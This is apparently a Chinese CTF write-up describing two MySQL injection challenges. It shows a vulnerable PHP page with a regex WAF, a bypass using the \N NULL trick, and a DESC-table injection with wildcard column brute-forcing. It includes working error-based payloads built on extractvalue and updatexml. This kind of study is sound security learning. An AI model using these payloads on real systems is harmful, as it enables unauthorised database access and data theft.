昨晚大半夜乐清在某个群里丢了一道题
test1
就很僵硬
<?php
include "config.php";
echo "<center><h1>Welcome to my site</h1></center><br>";
$id = $_GET['id']?waf($_GET['id']):1;
$sql = "select * from error_news where id = $id";
echo "<!--view source /source.php-->";
$row = mysql_fetch_array(mysql_query($sql));
if (empty($row) or mysql_error()){
echo "<center>no content detail</center>".mysql_error();
}else{
echo "<center><table border=1><tr><th>title</th><th>Content</th></tr><tr><td>${row['title']}</td><td>${row['content']}</td></tr></table></center>";
}
function waf($var){
if(stristr($_SERVER['HTTP_USER_AGENT'],'sqlmap')){
echo "<center>hacker<center>";
die();
}
$var = preg_replace('/([^a-z]+)(union|from)/i', ' $2', $var);
return $var;
}
其实第一眼看着感觉很简单啊,甚至可以报错,然后就丢给师弟了,师弟说这个waf过不去…………然后我就先翻白眼,再仔细一看这个waf我也不会啊,没遇到过
然后就google呗,找到,\N
这个姿势,但是一开始一直是报错去注的, 然后直到爆了另一个错
我就觉得对了,本地也是爆这个错,然后过不了很僵硬。
payload:
1%20and%20(extractvalue(1,concat(0x7e,(select%20flag,\Nfrom flag),0x7e)));
报错:
Operand should contain 1 column(s)
报错注入只能爆一个这是已知的,那么原因就是\N
\N
在mysql 中是NULL
假设有这样一张表
mysql> select * from test;
+---+---+
| a | b |
+---+---+
| 1 | 2 |
| 3 | 4 |
+---+---+
2 rows in set (0.00 sec)
那么利用\N
的姿势去查询的话
mysql> select a,\Nfrom test;
+---+------+
| a | NULL |
+---+------+
| 1 | NULL |
| 3 | NULL |
+---+------+
2 rows in set (0.00 sec)
我知道你懂我意思,他本身并不是绕过通防waf的姿势,而是绕过特殊正则的waf
那么报错注入就不存在了,那就union吧同理绕过waf
mysql> select 1,2,\Nunion select 1,2,3;
+---+---+------+
| 1 | 2 | NULL |
+---+---+------+
| 1 | 2 | NULL |
| 1 | 2 | 3 |
+---+---+------+
2 rows in set (0.00 sec)
test2
~~
另一题出现在wupco的博客里过了,但是当时没怎么细看,但是雨牛的博客很仔细的参观过
~~
刚刚去找wupco换友链,发现我好想和他还讨论过俊杰师傅的payload,记忆力越来越差了罪过罪过 啥都没记住
因为有看过雨牛的博客的原因,因此第一反应就是desc注入
通过报错以及正常的回显 语句猜解
mysql_query("DESC `$_GET['table']`") or die("表不存在");
$sql = "SELECT * FROM $_GET['table'] where id=1";
mysql_query($sql) or die(mysql_error());
那么核心语句
DESC `$_GET['table']`;
SELECT * FROM $_GET['table'] where id=$_GET['id'];
注意到DESC的语句中有反引号 而SELECT语句中没有反引号
一开始也考虑过能不能在$_GET[table]
中直接注入
事实证明是我太菜了,没写出payload来,然后就只好循规蹈矩通过id注入
简单测试id是有waf的过滤了union啥的没仔细测,但是在id可以报错,那么就可以基本上解决一大票问题了,但是当注入到column_name
的时候,发现column_name
被ban了,于是查阅一些DESC的文档⬇️
{DESCRIBE | DESC}
tbl_name [col_name | wild]
DESCRIBE 提供有关一个表的列信息。col_name 可以是一个列名或是一个包含 SQL 通配符字符 “%” 和 “_” 的字符串。没有必要用引号包围字符串。
也就是DESC的中的column_name位置是可以用通配符来替代的
%
替代一个或多个字符
_
仅替代一个字符
因此可以按照按位爆破的思路类似mysql注入中的regexp,成功注入,这里要注意,当列名未爆破完成的时候%
通配符始终可用,当爆破完成即不再匹配
payload:
table=news`%23`&id=1%20and%20updatexml(1,concat(0x7e,(select%20flag_you_will_never_know%20from%20error_flag),0x7e),1)#
然后乐师傅也验证了我一开始的想法
payload在wupco的博客里
写在最后
Kill By 小俊杰
此处评论已关闭